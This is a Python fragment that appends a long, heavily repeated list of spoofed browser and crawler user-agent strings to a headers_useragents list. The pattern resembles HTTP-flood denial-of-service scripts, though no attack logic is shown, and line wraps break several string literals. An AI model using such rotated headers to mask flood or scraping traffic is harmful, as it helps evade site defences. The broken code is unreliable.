headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X
10_6_7; ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT
6.1; Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X
10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205
Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT
6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729;
InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-
US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows
3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America
Online Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT
5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; .NET CLR 1.1.4322)')
headers_useragents.append('Googlebot/2.1
(http://www.googlebot.com/bot.html)')
headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT
5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en)
Presto/2.2.0')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)
AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT
5.1; Trident/5.0)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT
5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT
6.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows
98)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1;
+http://www.google.com/bot.html)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE
5.5; yahooseeker at yahoo-inc dot com ;
http://help.yahoo.com/help/us/shop/merchant/)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729;
.NET CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
5.2; Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT
6.0; en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('AppEngine-Google;
(+http://code.google.com/appengine; appid: webetrex)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729;
.NET CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
5.2; Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT
6.0; en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36')
headers_useragents.append('Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36')
headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64)
AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5')
headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64)
AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5')
headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0)
AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3')
headers_useragents.append('Mozilla/5.0 (Windows NT 5.1; rv:31.0)
Gecko/20100101 Firefox/31.0')
headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0)
Gecko/20120101 Firefox/29.0')
headers_useragents.append('Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0)
Gecko/20100101 Firefox/28.0')
headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64; rv:28.0)
Gecko/20100101 Firefox/28.0')
headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:27.3)
Gecko/20130101 Firefox/27.3')
headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6;
rv:25.0) Gecko/20100101 Firefox/25.0')
headers_useragents.append('Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0)
Gecko/20100101 Firefox/24.0')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 10.0; Windows NT
6.1; WOW64; Trident/6.0)')
headers_useragents.append('Mozilla/5.0(compatible; MSIE 10.0; Windows NT
6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 10.0; Macintosh;
Intel Mac OS X 10_7_3; Trident/6.0)')
headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en)
AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+')
headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-
US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile
Safari/534.11+')
headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-
US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile
Safari/534.11+')
headers_useragents.append('Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7
(KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US)
AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042
Safari/532.5')
headers_useragents.append('Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X)
AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25')
headers_useragents.append('Macintosh; Intel Mac OS X 10_6_8)
AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2')
headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3)
AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10')
headers_useragents.append('Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X)
AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR)
AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729;
.NET CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
5.2; Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT
6.0; en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36')
headers_useragents.append('Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36')
headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64)
AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5')
headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64)
AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5')
headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0)
AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3')
headers_useragents.append('Mozilla/5.0 (Windows NT 5.1; rv:31.0)
Gecko/20100101 Firefox/31.0')
headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0)
Gecko/20120101 Firefox/29.0')
headers_useragents.append('Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0)
Gecko/20100101 Firefox/28.0')
headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64; rv:28.0)
Gecko/20100101 Firefox/28.0')
headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:27.3)
Gecko/20130101 Firefox/27.3')
headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6;
rv:25.0) Gecko/20100101 Firefox/25.0')
headers_useragents.append('Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0)
Gecko/20100101 Firefox/24.0')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 10.0; Windows NT
6.1; WOW64; Trident/6.0)')
headers_useragents.append('Mozilla/5.0(compatible; MSIE 10.0; Windows NT
6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 10.0; Macintosh;
Intel Mac OS X 10_7_3; Trident/6.0)')
headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en)
AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+')
headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-
US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile
Safari/534.11+')
headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-
US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile
Safari/534.11+')
headers_useragents.append('Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7
(KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US)
AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042
Safari/532.5')
headers_useragents.append('Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X)
AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25')
headers_useragents.append('Macintosh; Intel Mac OS X 10_6_8)
AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2')
headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3)
AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10')
headers_useragents.append('Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X)
AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR)
AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
